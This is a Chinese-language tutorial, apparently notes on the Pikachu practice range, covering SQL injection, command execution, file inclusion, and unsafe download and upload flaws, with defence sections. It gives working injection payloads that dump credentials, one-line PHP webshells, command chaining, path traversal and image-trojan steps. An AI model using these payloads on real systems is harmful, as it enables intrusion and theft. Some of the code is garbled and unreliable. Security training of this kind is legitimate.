CSRF的主要問題是敏感操作的鏈接容易被偽造,那么如何讓這個鏈接不容易被偽造?
-每次請求,都增加一個隨機(jī)碼(需要夠隨機(jī),不容易偽造), 后臺每次對這個隨機(jī)碼進(jìn)行驗證!
Ant上CSRF ( token )項目的token生成代碼:

3.3.4常見CSRF防范措施

增加token驗證(常用的做法) :
1,對關(guān)鍵操作增加token參數(shù),token值必須隨機(jī),每次都不一樣;
關(guān)于安全的會話管理(避免會話被利用) :
1,不要在客戶端端保存敏感信息(比如身份認(rèn)證信息) ;
2,測試直接關(guān)閉,退出時,的會話過期機(jī)制;
3,設(shè)置會話過期機(jī)制,比如15分鐘內(nèi)無操作,則自動登錄超時;
訪問控制安全管理:
1,敏感信息的修改時需要對身份進(jìn)行二次認(rèn)證,比如修改賬號時,需要判斷舊密碼;
2,敏感信息的修改使用post,而不是get ;
3,通過http頭部中的referer來限制原頁面
增加驗證碼:
一般用在登錄(防暴力破解) ,也可以用在其他重要信息操作的表單中(需要考慮可用性)

3.4SQL-Inject(SQL注入漏洞)

3.4.1SQL Inject漏洞原理概述

在owasp發(fā)布的top 10漏洞里面,注入漏洞一直是危害排名第一,其中主要指SQL Inject漏洞。
數(shù)據(jù)庫注入漏洞,主要是開發(fā)人員在構(gòu)建代碼時,沒有對輸入邊界進(jìn)行安全考慮,導(dǎo)致攻擊著可以通過合法的輸入點提交一些精心構(gòu)造的語句 ,從而欺騙后臺數(shù)據(jù)庫對其進(jìn)行執(zhí)行,導(dǎo)致數(shù)據(jù)庫信息泄漏的一種漏洞。


正常輸入:1 select email from users where id= 1;
非法輸入:1or1=1 select email from users where id= 1 or 1=1;

SQL Inject 漏洞攻擊流程

  1. 第一步:注入點探測
    自動方式:使用web漏洞掃描工具,自動進(jìn)行注入點發(fā)現(xiàn)
    手動方式:手工構(gòu)造sq| inject測試語句進(jìn)行注入點發(fā)現(xiàn)
  2. 第二步:信息獲取
    通過注入點取期望得到的數(shù)據(jù)。
    1.環(huán)境信息:數(shù)據(jù)庫類型,數(shù)據(jù)庫版本,操作系統(tǒng)版本,用戶信息等。
    2.數(shù)據(jù)庫信息:數(shù)據(jù)庫名稱,數(shù)據(jù)庫表,表字段,字段內(nèi)容(加密內(nèi)容破解)
  3. 第三步:獲取權(quán)限
    獲取操作系統(tǒng)權(quán)限:通過數(shù)據(jù)庫執(zhí)行shell,上傳木馬
    常見的注入點類型:
    數(shù)字型
user_ id= $id

字符型

user. id= '$id' 

搜索型

text LIKE '%{$_ GET['search']}%''

3.4.2注入方式get&post&搜索型&xx型

pikachu- SQL-Inject- 數(shù)字型注入
post型注入演示
下拉框隨意點擊一個數(shù)字


發(fā)現(xiàn)url中并沒有傳參,提交方式為post方式。
先測試這個輸入點是否存在漏洞。正常邏輯我們輸入一個id,之后返回數(shù)據(jù),應(yīng)該是后臺在數(shù)據(jù)庫中進(jìn)行了查詢,返回了姓名和郵箱可以認(rèn)為語句是

select 字段1,字段2 from 表名 where id = 1

后端接收應(yīng)該是:$id=$_POST['id']之后把接收到的參數(shù)傳進(jìn)去。
我們點擊數(shù)字1,進(jìn)行查詢,之后打開burp查看抓包。


選中發(fā)送到Repeater,我們在輸入點輸入一段payload:1 or 1=1,點擊提交。

點擊Render,可以查看返回界面。

結(jié)果就是它將所有的用戶和郵箱全部返回在頁面上。
pikachu- SQL-Inject- 字符型注入
隨意輸入一段字符,點擊提交提示用戶名不存在。發(fā)現(xiàn)請求在url中。

正常返回是兩個字段,用戶名和郵箱。我們可以對后臺運(yùn)行做出猜想。

select 字段1,字段2 from 表名 where username = '111';

后臺接收:$uname=$_GET['username']
與xss差不多我們要構(gòu)成一個合法閉合。字符串需要加單引號才合法。我們需要把前后兩個單引號注釋掉。輸入kobe' or 1=1#第一個單引號會將前面的單引號閉合,后面的#號會注釋掉后面的單引號。我們嘗試提交。


結(jié)果會將數(shù)據(jù)庫表中的東西遍歷出來。
搜索型注入
輸入字符k,點擊提交,觀察結(jié)果。

返回了所有含有k的用戶。

select from 表名 where username like ' %k% ';

這種查詢比get多了%號,我們要想辦法構(gòu)造一個合法的閉合。

select from 表名 where username like ' %666%'or 1=1 #% ';

我們輸入字符查看結(jié)果。


只要理解,猜測后臺如何拼接,設(shè)置合法的payload,構(gòu)造閉合。
xx型注入
查看后端代碼,多除了括號,我們還是進(jìn)行閉合。
輸入xx’) or 1=1 #,查看結(jié)果。

所以說只要構(gòu)造閉合成功就可以了。

3.4.3SQL Inject漏洞手工測試:基于union聯(lián)合查詢的信息獲取( select )

union聯(lián)合查詢:可以通過聯(lián)合查詢來查詢指定的數(shù)據(jù)
用法舉例:
select username,password from user where id=1 union select 字段1 ,字段2 from 表名
聯(lián)合查詢的字段數(shù)需要和主查詢一致!
打開字符型注入,輸入a’ order by 5#。


說明第五列不存在。這個時候我們試一下3。

說明第三列也不存在。我們再換成2。

正常報錯,意味著主查詢里只有兩個字段。確認(rèn)字段后,構(gòu)建union。

a' union select database(),uesr()#


這個時候就會把數(shù)據(jù)庫名稱,當(dāng)前用戶,當(dāng)前用戶權(quán)限顯示出來。
我們還可以查他的版本。

a' union select version(),4#


這里版本號和數(shù)字四就被打印輸出來了。
還可以查其他東西,自己發(fā)揮了。以下僅供參考。

Select version(); //取的數(shù)據(jù)庫版本
Select database(); //取得當(dāng)前的數(shù)據(jù)庫
Select user(); //取得當(dāng)前登錄的用戶
order by X //對查詢的結(jié)果進(jìn)行排序,按照第X列進(jìn)行排序,默認(rèn)數(shù)字0-9 ,字母a-z
思路:對查詢的結(jié)果使用order by按照指定的列進(jìn)行排序,如果指定的列不存在,數(shù)據(jù)庫會報錯。通過報錯判斷查詢結(jié)果的列數(shù),從而確定主查詢的字段數(shù)。

3.4.4通過information_ schema拿下數(shù)據(jù)庫手工測試完整案例演示

MYSQL小知識補(bǔ)充: information_ schema
在mysq|中,自帶的information_schema這個表里面存放了大量的重要信息。具體如下:
如果存在注入點的話,可以直接嘗試對該數(shù)據(jù)庫進(jìn)行訪問,從而獲取更多的信息。
比如:
SCHEMATA表:提供了當(dāng)前mysq|實例中所有數(shù)據(jù)庫的信息。是show databases的結(jié)果取之此表。
TABLES表:提供了關(guān)于數(shù)據(jù)庫中的表的信息(包括視圖)。詳細(xì)表述了某個表屬于哪個schema ,表類型,表引擎,創(chuàng)建時間等信息。是show tables from schemaname的結(jié)果取之此表。
COLUMNS表:提供了表中的列信息。詳細(xì)表述了某張表的所有列以及每個列的信息。是show columns from schemaname.tablename的結(jié)果取之此表。

以字符型為栗子,我們站在測試者的角度判斷是否存在SQL注入漏洞,以及如何獲取數(shù)據(jù)。
我們先輸入一個單引號進(jìn)行測試。提交發(fā)現(xiàn)出現(xiàn)報錯。


在單引號處出現(xiàn)了語法錯誤,那么我們就會知道我們輸入的單引號已經(jīng)被拼接到SQL里面了。也就意味著這里存在著SQL注入漏洞。它會把前端輸入當(dāng)作數(shù)據(jù)庫里的一部分邏輯去處理。
我們猜測是字符型的,去做一個小測試。
輸入kobe' or 1=1#,然后點擊提交。

結(jié)果發(fā)現(xiàn)可以遍歷出數(shù)據(jù)。但是現(xiàn)在的結(jié)果并不能滿足我們??。我們可以在獲取一下它的基礎(chǔ)信息。我們使用聯(lián)合查詢,在聯(lián)合查詢之前我們先使用order by,確定有多少個字段。輸入kobe' order by 3#,出現(xiàn)報錯。

輸入kobe' order by 2#

成功查詢出來了,我們可以確定這里主查詢有兩個字段。確定字段之后我們就可以做聯(lián)合查詢。想要獲取information_ schema中的數(shù)據(jù),至少要知道數(shù)據(jù)庫名稱。

kobe' union select database(),user()#


數(shù)據(jù)庫名稱為pikachu。拿到名稱后我們就可以通過information_ schema去獲取數(shù)據(jù)。通過union聯(lián)合查詢,然后通過information_ schema去獲取pikachu一共有多少個表,表的名稱是什么。

kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#


除了正常的查詢,pikachu數(shù)據(jù)庫中所有表的名稱也被我們爆出來了。我們進(jìn)一步分析,我們發(fā)現(xiàn)有一個表名叫做users,我們可以猜測是不是所有的用戶名密碼都在其中。

kobe' union select table_name,column_name from information_schema.columns where table_name='users'#


我們可以發(fā)現(xiàn)有賬號密碼。是不是我們能夠拿到賬號密碼呢?現(xiàn)在其實已經(jīng)很簡單了。

kobe' union select username,password from users#


賬號密碼已經(jīng)到手,但是我們可以看出密碼是做過加密處理的,根據(jù)長度我們可以判斷應(yīng)該MD5加密,我們可以在網(wǎng)上做一些碰撞,解出明文。

這是我們的目的已經(jīng)達(dá)成了。

3.4.5SQL Inject漏洞手工測試:基于報錯的信息獲取(select/delete/update/insert)

技巧思路:
在MYSQL中使用一些指定的函數(shù)來制造報錯,從而從報錯信息中獲取設(shè)定的信息。select/insert/update/delete都可以使用報錯來獲取信息。
背景條件:
后臺沒有屏蔽數(shù)據(jù)庫報錯信息,在語法發(fā)生錯誤時會輸出在前端。

基于報錯的信息獲取------三個常用的用來報錯的函數(shù)
updatexml() :函數(shù)是MYSQL對XML文檔數(shù)據(jù)進(jìn)行查詢和修改的XPATH函數(shù)。
extractvalue():函數(shù)也是MYSQL對XML文檔數(shù)據(jù)進(jìn)行查詢的XPATH函數(shù)。
floor(): MYSQL中用來取整的函數(shù)。

updatexml()
Updatexm()函數(shù)作用: 改變(查找并替換) XML文檔中符合條件的節(jié)點的值。
語法: UPDATEXML (xml document, XPathstring, new_value)

第一個參數(shù): fiedname是String格式,為表中的字段名。
第二個參數(shù): XPathstring (Xpath格式的字符串)。
第三個參數(shù): new. value,String格式,替換查找到的符合條件的

Xpath定位必須是有效的,否則會發(fā)生錯誤。
Select下報錯的利用演示
我們還是那字符型注入做演示,首先我們應(yīng)該判斷有沒有報錯,會不會在前端顯示。我們輸入單引號,發(fā)現(xiàn)有注入報錯。


現(xiàn)在我們構(gòu)造一個報錯。

kobe' and updatexml(1,version(),0)#


.26什么鬼東西,它并沒有把version對應(yīng)的版本號爆出來?,F(xiàn)在對payload進(jìn)行改造。

kobe' and updatexml(1,concat(0x7e,version()),0)#


我們已經(jīng)獲取到了版本號?,F(xiàn)在我們可以把version替換成任意我們想要獲得的東西。

kobe' and updatexml(1,concat(0x7e,database()),0)#


數(shù)據(jù)庫名稱已經(jīng)獲取。我們在進(jìn)行進(jìn)一步查詢。

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#


報錯返回的數(shù)據(jù)多余一行。說明報錯有多行。再次進(jìn)行處理??梢允褂胠imit一次一次進(jìn)行獲取表名。

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#


我們可以得到第一個表名。想要得到第二個表名只要把0改成1即可。依此類推,可以得到所有表名。在獲取表名之后,思路一樣,獲取列名。

kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#


同樣的依此類推,得到所有列名。在獲取列名后,再來獲取數(shù)據(jù)。

kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#


獲取了第一個用戶名,再根據(jù)用戶名查詢密碼。

kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#


獲取MD5加密的密文,解密獲取明文密碼。
insert/update注入
我們點擊注冊

一樣的方法判斷是否有SQL注入漏洞,經(jīng)過判斷之后發(fā)現(xiàn)存在SQL漏洞。重點在于怎么構(gòu)造insert的payload。

用戶名輸入xiaohong' or updatexml(1,concat(0x7e,database()),0) or '

密碼隨意。點擊提交。


得到數(shù)據(jù)庫名。思路一樣把database做替換,得到想要的信息。
update與insert是一模一樣的。我們先登錄用戶。

在這里可能會有人顯示不出來信息,可以參考解決方案。
在使用pikachu的時候發(fā)現(xiàn)一點問題,好像是由php版本較高導(dǎo)致的不兼容,如圖:


在這里我們打開這個路徑,找到第70行,把MYSQL_ASSOC改成MYSQLI_ASSOC,保存文件,刷新網(wǎng)頁。就可以啦。
原因:在php7中,MYSQL_ASSOC不再是一個常量,將 MYSQL_ASSOC改為MYSQLI_ASSOC,意思是mysqli的方式提取數(shù)組,而不再是mysql 。(原因:mysql_fetch_arrayhan函數(shù)轉(zhuǎn)為mysqli_fetch_array,參數(shù)沒有修改)


這個修改就是通過update。這里就存在update漏洞。我們輸入剛剛的payload。

爆出數(shù)據(jù)庫名稱,之后邏輯就一樣了。
delete注入
點擊刪除留言,留言被刪除,我們打開burp查看抓包。

將其發(fā)送到Repeater。我們可以把id構(gòu)成閉合。

1 or updatexml(1,concat(0x7e,database()),0)

選中右鍵,convert selection,對其進(jìn)行url編碼。


按照我們的期望返回了數(shù)據(jù)庫名稱。
extractvalue()
extractvalue()函數(shù)作用:從目標(biāo)XML中返回包含所查詢值的字符串。
語法: ExtractValue(xm| _document, xpath. string)

第一個參數(shù): XML document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數(shù): XPath_ string (Xpath格式的字符串)

Xpath定位必須是有效的,否則會發(fā)生錯誤。
打開字符型注入,輸入payload。

kobe' and extractvalue(0,concat(0x7e,version()))#


效果差不多,理解即可。
floor()
在字符型中輸入payload得到版本號。

kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#


同樣進(jìn)行替換我們可以得到其他你想知道的東西。

3.4.6SQL注入漏洞-基于http header的注入

什么是Http Header注入
有些時候,后臺開發(fā)人員為了驗證客戶端頭信息(比如常用的cookie驗證)
或者通過http header頭信息獲取客戶端的一些信息,比如useragent、accept字段等等。
會對客戶端的http header信息進(jìn)行獲取并使用SQL進(jìn)行處理,如果此時沒有足夠的安全考慮,則可能會導(dǎo)致基于http header的SQL Inject漏洞。

點擊提示,獲得賬號密碼,登錄賬號。


后臺對HTTP頭數(shù)據(jù)進(jìn)行了獲取,進(jìn)行了相關(guān)的數(shù)據(jù)庫操作。
我們通過burp的數(shù)據(jù)包進(jìn)行測試。

將其發(fā)送到repeater。修改agent為單引號提交,查看結(jié)果。


判斷有SQL注入漏洞。輸入我們的payload

firefox' or updatexml(1,concat(0x7e,database()),0) or '


返回了數(shù)據(jù)庫名稱。

3.4.7SQL注入漏洞-盲注( boolian base )原理及測試

什么是盲注?
在有些情況下,后臺使用了錯誤消息屏蔽方法(比如@ )屏蔽了報錯
此時無法在根據(jù)報錯信息來進(jìn)行注入的判斷。
這種情況下的注入,稱為“盲注'
根據(jù)表現(xiàn)形式的不同,盲注又分為based boolean和based time兩種類型

基于boolean的盲注主要表現(xiàn)癥狀:

0.沒有報錯信息
1.不管是正確的輸入,還是錯誤的輸入,都只顯示兩種情況(我們可以認(rèn)為是0或者1)
2.在正確的輸入下,輸入and 1= 1/and 1= 2發(fā)現(xiàn)可以判斷

打開Boolean的盲注,輸入

kobe' and 1=1#


打印了正確的kobe的信息。我們再把一改成二輸入。

對比說明存在SQL注入漏洞。我們嘗試之前的方法發(fā)現(xiàn)都行不通。

kobe' and ascii(substr(database(),1,1))>113#


查詢不存在,改為=112。

顯示正確信息。
112對應(yīng)的字母就是p,數(shù)據(jù)庫的第一個字符就是p。依次修改得到數(shù)據(jù)庫名字。之后思路就打開了。

3.4.8SQL注入漏洞盲注( time base )原理及測試

如果說基于boolean的窗注在頁面上還可以看到0 or 1的回顯的話
那么基于time的盲注完全就啥都看不到了!
但還有一個條件,就是“時間”, 通過特定的輸入,判斷后臺執(zhí)行的時間,從而確認(rèn)注入!
常用的Teat Payload:
kobe’ and sleep(5)#
看看輸入: kobe和輸入kobe and sleep(5)#的區(qū)別,從而判斷這里存在based time的SQL注入漏洞。
打開基于時間的盲注。輸入單引號。


我們進(jìn)行其他嘗試都是一樣的結(jié)果。我們打開web控制器。打開網(wǎng)絡(luò),輸入

kobe' and sleep(5)#

我們發(fā)現(xiàn)頁面沒有立刻返回前端頁面,而是暫停了5.12毫秒,說明執(zhí)行了我們的payload。說明存在一個基于時間的payload。

kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

時間停止了5秒,則說明第一個字符是p。如果時間不停止,則說明不是p。

3.4.9os遠(yuǎn)程控制

一句話木馬
一句話木馬是一種短小而精悍的木馬客戶端,隱蔽性好,且功能強(qiáng)大。
PHP: < ?php @eval($_ POST’chopper’]);?>
ASP: < %eval request(' chopper')%>
ASP.NET: <%@ Page Language= Jscript' %> <%eval(Request.Item'chopper'], 'unsafe );%>

select 1,2 into outfile “/var/www/html/1.txt”
into outfile 將select的結(jié)果寫入到指定目錄的1.txt中
在一些沒有回顯的注入中可以使用into outfile將結(jié)果寫入到指定文件,然后訪問獲取
前提條件:
1.需要知道遠(yuǎn)程目錄
2.需要遠(yuǎn)程目錄有寫權(quán)限
3.需要數(shù)據(jù)庫開啟了secure_ file_ priv
字符型注入:
獲取操作系統(tǒng)權(quán)限:

kobe' union select '<?php @eval($_GET['test'])?>',2 into outfile '/val/www/html/1.php'#

3.4.10SQL Inject漏洞之表(列)名的暴力破解

字符型注入舉例
payload:

kobe' and exists(select * from aa)#
kobe' and exists(select id from users)#


輸入第一個payload,返回結(jié)果說明沒有這個表。打開burp抓包,發(fā)送到intrudder。思路與暴力破解一樣。clear之后選中aa,進(jìn)行替換。

用這個方法我們可以猜出表名。

同樣的我們也可以用第二個payload猜出列名。

3.4.11如何使用SQL-Map進(jìn)行SQL Inject漏洞測試

可以直接去官網(wǎng)下載壓縮包https://sqlmap.org/
sqlmap經(jīng)典用法
第一步:
-u 'xx” - cookie= “yy” //帶上cookie對URL進(jìn)行注入探測
第二步:
-U “xxx” – cookie=
“yyy” - current-db //對數(shù)據(jù)庫名進(jìn)行獲取
第三步:
-u 'xxx” --cookie= “yy” - D pikachu - -tables //對數(shù)據(jù)庫的表名進(jìn)行枚舉
第四步:
-u “xxx” --cookie= “yyy” -D pikachu -T users – columns //對dvwa庫里面的名為users表的列名進(jìn)行枚舉

3.4.12SQL注入漏洞常見防范措施

●代碼層面
1.對輸入進(jìn)行嚴(yán)格的轉(zhuǎn) 義和過濾
2.使用預(yù)處理和參數(shù)化 ( Parameterized )
●網(wǎng)路層面
1.通過WAF設(shè)備啟用防SQL Inject注入策略(或類似防護(hù)系統(tǒng))
2.云端防護(hù)( 360網(wǎng)站衛(wèi)士,阿里云盾等)
PHP防范轉(zhuǎn)義+過濾

轉(zhuǎn)義舉例

function escape($link, $data){
if(is_ string($data)){
return mysqli_ real_ escape_ string($ink, $data) ;
}
if(is_ array($data)){
foreach ($data as $key=>$va1){ 
$data[$key]=e S cape($link, $val);
}
}
return $data;
}

過濾舉例:(黑名單)

str_ replace('%',',$_ POST['username ]),把post里面的數(shù)據(jù)里面含有%的替換成空

PDO預(yù)處理
推薦做法:使用PDO的prepare預(yù)處理(預(yù)處理+參數(shù)化)

$username=$_ GET[ ' username' ];
$password=$_ GET[ ' password'];
try{
$pdo=new PDO( ' mysql : host=localhost ; dbname-ant', ' root'' root');
$sq1='select * from admin where username=? and passowrd=?' ;
$stmt=$pdo->prepare ($sql);//先不傳參數(shù),先預(yù)處理
//var_ dump($stmt);
$stmt-> execute(array($username ,$password));
/ /這個時候在把參數(shù)傳進(jìn)去,以索引數(shù)組的方式傳進(jìn)去,而不是拼接,就成功防止了注入
}catch (PDOException $e){
echo $e- >getMessage();
?>

網(wǎng)絡(luò)防護(hù)


3.5RCE(代碼執(zhí)行/命令執(zhí)行)

RCE(remote command/code execute)概述
RCE漏洞,可以讓攻擊者直接向后臺服務(wù)器遠(yuǎn)程注入操作系統(tǒng)命令或者代碼,從而控制后臺系統(tǒng)。
遠(yuǎn)程系統(tǒng)命令執(zhí)行
一般出現(xiàn)這種漏洞,是因為應(yīng)用系統(tǒng)從設(shè)計上需要給用戶提供指定的遠(yuǎn)程命令操作的接口
比如我們常見的路由器、防火墻、入侵檢測等設(shè)備的web管理界面上
一般會給用戶提供一個ping操作的web界面,用戶從web界面輸入目標(biāo)IP,提交后,后臺會對該IP地址進(jìn)行一次ping測試,并返回測試結(jié)果。 而,如果,設(shè)計者在完成該功能時,沒有做嚴(yán)格的安全控制,則可能會導(dǎo)致攻擊者通過該接口提交“意想不到”的命令,從而讓后臺進(jìn)行執(zhí)行,從而控制整個后臺服務(wù)器
現(xiàn)在很多的甲方企業(yè)都開始實施自動化運(yùn)維,大量的系統(tǒng)操作會通過'自動化運(yùn)維平臺'進(jìn)行操作。 在這種平臺上往往會出現(xiàn)遠(yuǎn)程系統(tǒng)命令執(zhí)行的漏洞,不信的話現(xiàn)在就可以找你們運(yùn)維部的系統(tǒng)測試一下,會有意想不到的'收獲'-_-

遠(yuǎn)程代碼執(zhí)行
同樣的道理,因為需求設(shè)計,后臺有時候也會把用戶的輸入作為代碼的一部分進(jìn)行執(zhí)行,也就造成了遠(yuǎn)程代碼執(zhí)行漏洞。 不管是使用了代碼執(zhí)行的函數(shù),還是使用了不安全的反序列化等等。 
因此,如果需要給前端用戶提供操作類的API接口,一定需要對接口輸入的內(nèi)容進(jìn)行嚴(yán)格的判斷,比如實施嚴(yán)格的白名單策略會是一個比較好的方法。 

打開pikachu靶場exec'ping',可以先試一下本地地址,ping127.0.0.1。


ping出來的結(jié)果很正常,但是這個中文全變成亂碼了。/(ㄒoㄒ)/~~
查看源碼,發(fā)現(xiàn)對輸入沒有處理之后我們還是一手拼接

127.0.0.1 & ipconfig


依舊亂碼,不過結(jié)果一樣,說明這里除了可以提交目標(biāo)IP地址外,還可以通過一些拼接的符號執(zhí)行其他的命令。

exec'evel',更簡單。隨意輸入字符,返回文字。
eval(輸入)也就是執(zhí)行任何我們輸入的數(shù)據(jù),輸入phpinfo();


那么這里學(xué)習(xí)一個php函數(shù)
system('')執(zhí)行外部程序,并且顯示輸出。

3.6Files Inclusion(文件包含漏洞)

3.6.1文件包含原理及本地文件包含漏洞

文件包含漏洞概述
在web后臺開發(fā)中,程序員往往為了提高效率以及讓代碼看起來更加簡潔,會使用”包含'函數(shù)功能。
比如把一系列功能函數(shù)都寫進(jìn)fuction.php中,之后當(dāng)某個文件需要調(diào)用的時候就直接在文件頭中寫上
一句<?php include fuction.php?>就可以調(diào)用函數(shù)代碼。
但有些時候,因為網(wǎng)站功能需求,會讓前端用戶選擇需要包含的文件(或者在前端的功能中使用了”包含”功能),又由于開發(fā)人員沒有對要包含的這個文件進(jìn)行安全考慮,就導(dǎo)致攻擊著可以通過修改包含文件的位置來讓后臺執(zhí)行任意文件(代碼)。這種情況我們稱為'文件包含漏洞”
文件包含漏洞有'本地文件包含漏洞”和'遠(yuǎn)程文件包含漏洞”兩種情況。


通過include()或require()語句,可以將PHP文件的內(nèi)容插入另一一個PHP文件(在服
務(wù)器執(zhí)行它之前)。
include和require語句是相同的,除了錯誤處理方面:
require會生成致命錯誤( E_ COMPILE ERROR )并停止腳本
include只生成警告( E WARNING ) ,并且腳本會繼續(xù)

Test. php: 
<?php $co1or= '銀色的' ; $car= '奔馳轎車'; ?>
Index. html :
<html> <body> <h1> 歡迎訪問我的首頁! </h1>
<?php include
'test .php'; echo '我有一輛”.
$color . $car '
?>
</body> </html>

打開 file include 本地文件包含,點擊wyd提交查詢。

我們觀察url,顯示是一個文件file1.php。


按照設(shè)計這些文件都是后臺自己存在的文件。但是由于這個文件名是前端傳向后臺的,也就意味著我們可以修改這個文件。
我們可以猜測一下后臺的操作系統(tǒng)是win11,其中有很多固定的配置文件例如…/…/…/…/…/…/
可以多敲幾個,最后都會跳到根目錄。我們將文件名替換

../../../../Windows/System32/drivers/etc/hosts


所有的配置文件就暴露出來了。

3.6.2遠(yuǎn)程文件包含漏洞

遠(yuǎn)程文件包含漏洞形式跟本地文件包含漏洞差不多,在遠(yuǎn)程包含漏洞中,攻擊者可以通過訪問外部地址來加載遠(yuǎn)程的代碼。
遠(yuǎn)程包含漏洞前提:如果使用的incldue和require ,則需要php.ini配置如下( php5.4.34 ) :
allow_url_fopen=on//默認(rèn)打開
Allow_url_include=on//默認(rèn)關(guān)閉
寫入一句話木馬,危害極大。
我們現(xiàn)在phpstudy打開遠(yuǎn)程包含,否則無法進(jìn)行靶場訓(xùn)練。


還是選擇一個文件提交,顯示圖片文字,觀察url。

它實際上提交的是一個目標(biāo)文件的路徑。我們可以改成一個遠(yuǎn)端的路徑,讀取遠(yuǎn)程文件。

http://pikachu/test/yijuhua.txt


將文件替換為遠(yuǎn)端路徑,回車,會在本地生成php文件。

對x傳參,x=ifconfig。

亂碼是因為靶場搭載windows上了。也可以使用哥斯拉、冰蝎等工具。

3.6.3文件包含漏洞防范措施

0.在功能設(shè)計上盡量不要將文件包含函數(shù)對應(yīng)的文件放給前端進(jìn)行選擇和操作。
1.過濾各種./. ,http:// ,https://
2.配置php.ini配置文件:
allow_ url fopen = off
Allow_ url include= off
magic quotes_ gpc=on //gpc在
3.通過白名單策略,僅允許包含運(yùn)行指定的文件,其他的都禁止。

3.7 Unsafe file downloads(不安全的文件下載)

很多網(wǎng)站都會提供文件下載功能,即用戶可以通過點擊下載鏈接,下載到鏈接所對應(yīng)的文件。但是,如果文件下載功能設(shè)計不當(dāng),則可能導(dǎo)致攻擊著可以通過構(gòu)造文件路徑,從而獲取到后臺服務(wù)器上的其他的敏感文件。( 又稱:任意文件下載)
打開 unsafe filedownload 不安全的文件下載,正常功能點擊球員名字,就可以下載圖片。

我們觀察點擊名字后的url。


相當(dāng)于把a(bǔ)i.png傳到后臺,后臺去找這個文件,把文件讀取之后,傳到前端下載。
我們點擊科比,將url,改為ai.png。

我們還可以使用目錄遍歷的方式去修改鏈接下載敏感文件。
防范措施:
1.對傳入的文件名進(jìn)行嚴(yán)格的過濾和限定
2.對文件下載的目錄進(jìn)行嚴(yán)格的限定

3.8 Unsafe file uploads(不安全的文件上傳)

3.8.1不安全的文件上傳原理及客戶端繞過

因為業(yè)務(wù)功能需要,很多web站點都有文件上傳的接口,比如:
1.注冊時上傳頭像圖片(比如jpg.png,gif等) ;
2.上傳文件附件( doc,xIs等) ;
而在后臺開發(fā)時并沒有對上傳的文件功能進(jìn)行安全考慮或者采用了有缺陷的措施,導(dǎo)致攻擊者可以通過一些手段繞過安全措施從而上傳一些惡意文件(如:一句話木馬)從而通過對該惡意文件的訪問來控制整個web后臺。

文件上傳漏洞測試流程:
1,對文件上傳的地方按照要求上傳文件,查看返回結(jié)果(路徑,提示等);
2 ,嘗試上傳不同類型的“惡意'文件,比如xx.php文件,分析結(jié)果;
3,查看html源碼,看是否通過js在前端做了上傳限制,可以繞過;
4 ,嘗試使用不同方式進(jìn)行繞過:黑白名單繞過/MIME類型繞過/目錄0x00截斷繞過等;
5,猜測或者結(jié)合其他漏洞(比如敏感信息泄露等)得到木馬路徑,連接測試。

打開 unsafe upfileupload 客戶端check,我們?yōu)g覽上傳文件發(fā)現(xiàn),只能上傳照片。


上傳其他類型的文件會被前端提示,這個限制就有可能是從前端進(jìn)行限制的。打開瀏覽器控制臺查看。

再查看源碼

通過前端對文件進(jìn)行了限制。我們可以直接修改代碼,把onchange的函數(shù)刪掉。


php文件一句話木馬成功上傳。之后就可以給特定值傳命令,執(zhí)行操作。

3.8.2上傳漏洞之MINE type驗證原理和繞過

MIME(Multipurpose Internet Mail Extensions)多用途互聯(lián)網(wǎng)郵件擴(kuò)展類型。是設(shè)定某種擴(kuò)展名的文件用一種應(yīng)用程序來打開的方式類型,當(dāng)該擴(kuò)展名文件被訪問的時候,瀏覽器會自動使用指定應(yīng)用程序來打開。多用于指定一些客戶端自定義的文件名,以及一些媒體文件打開方式。
每個MIME類型由兩部分組成,前面是數(shù)據(jù)的大類別,例如聲音audio、圖象image等,后面定義具體的種類。常見的MIME類型,比如:
超文本標(biāo)記語言文本.html.html texthtml
普通文本.txt text/plain
RTF文本.rtf application/rtf
GIF圖形.gif image/gif
JPEG圖形.ipeg.jpg image/jpeg

通過使用PHP的全局?jǐn)?shù)組$_ FILES ,你可以從客戶計算機(jī)向遠(yuǎn)程服務(wù)器上傳文件。
第一個參數(shù)是表單的input name,第二個下標(biāo)可以是'name', “type”, “size”, “tmp_ name” 或'error'

同樣先測試功能,上傳圖片沒有問題,點擊上傳php文件,有錯誤提示。


先上傳一個正常的圖片,在上傳一個php文件,打開burp抓包。

上傳圖片,顯示image/png上傳成功。

上傳php文件,顯示application/octet-stream上傳失敗。將上傳php文件的包發(fā)送到repeater,將application/octet-stream修改為image/png。

通過http頭的修改繞過了MINE type驗證成功亂搞。之后就是訪問傳參,通過一句話木馬控制服務(wù)器。

3.8.3文件上傳之getimagesize繞過和防范措施

Getimagesize ( )返回結(jié)果中有文件大小和文件類型,如果用這個函數(shù)來獲取類型,從而判斷是否是圖片的話,會存在問題。
是否可以繞過呢?可以,因為圖片頭可以被偽造。
圖片木馬的制作:
方法1 :直接偽造頭部GIF89A
方法2.CMD: copy /b test.png + muma.php ccc.png
方法3.使用GIMP (開源的圖片修改軟件) , 通過增加備注,寫入執(zhí)行命令
測試功能,沒有問題,開始制作木馬圖片。這里使用第二種方法。
進(jìn)入桌面,先輸入命令dir,保證可以找到你需要的文件。

生成木馬圖片。


打開展示完全沒有問題,但是在16進(jìn)制中圖片內(nèi)容加入了一句話木馬內(nèi)容。

成功上傳木馬圖片。我們訪問這個圖片但是一句話并沒有執(zhí)行,這時候就需要結(jié)合本地文件包含漏洞搞事情。打開文件包含漏洞 file include,上傳圖片,修改路徑。就可以執(zhí)行phpinfo。

防范措施:
不要在前端使用JS實施上傳限制策略
通過服務(wù)端對上傳文件進(jìn)行限制:
1.進(jìn)行多條件組合檢查:比如文件的大小,路徑,擴(kuò)展名,文件類型,文件完整性
2.對上傳的文件在服務(wù)器上存儲時進(jìn)行重命名(制定合理的命名規(guī)則)
3.對服務(wù)器端上傳文件的目錄進(jìn)行權(quán)限控制(比如只讀), 限制執(zhí)行權(quán)限帶來的危害

3.9 Over Permisson(越權(quán)漏洞)

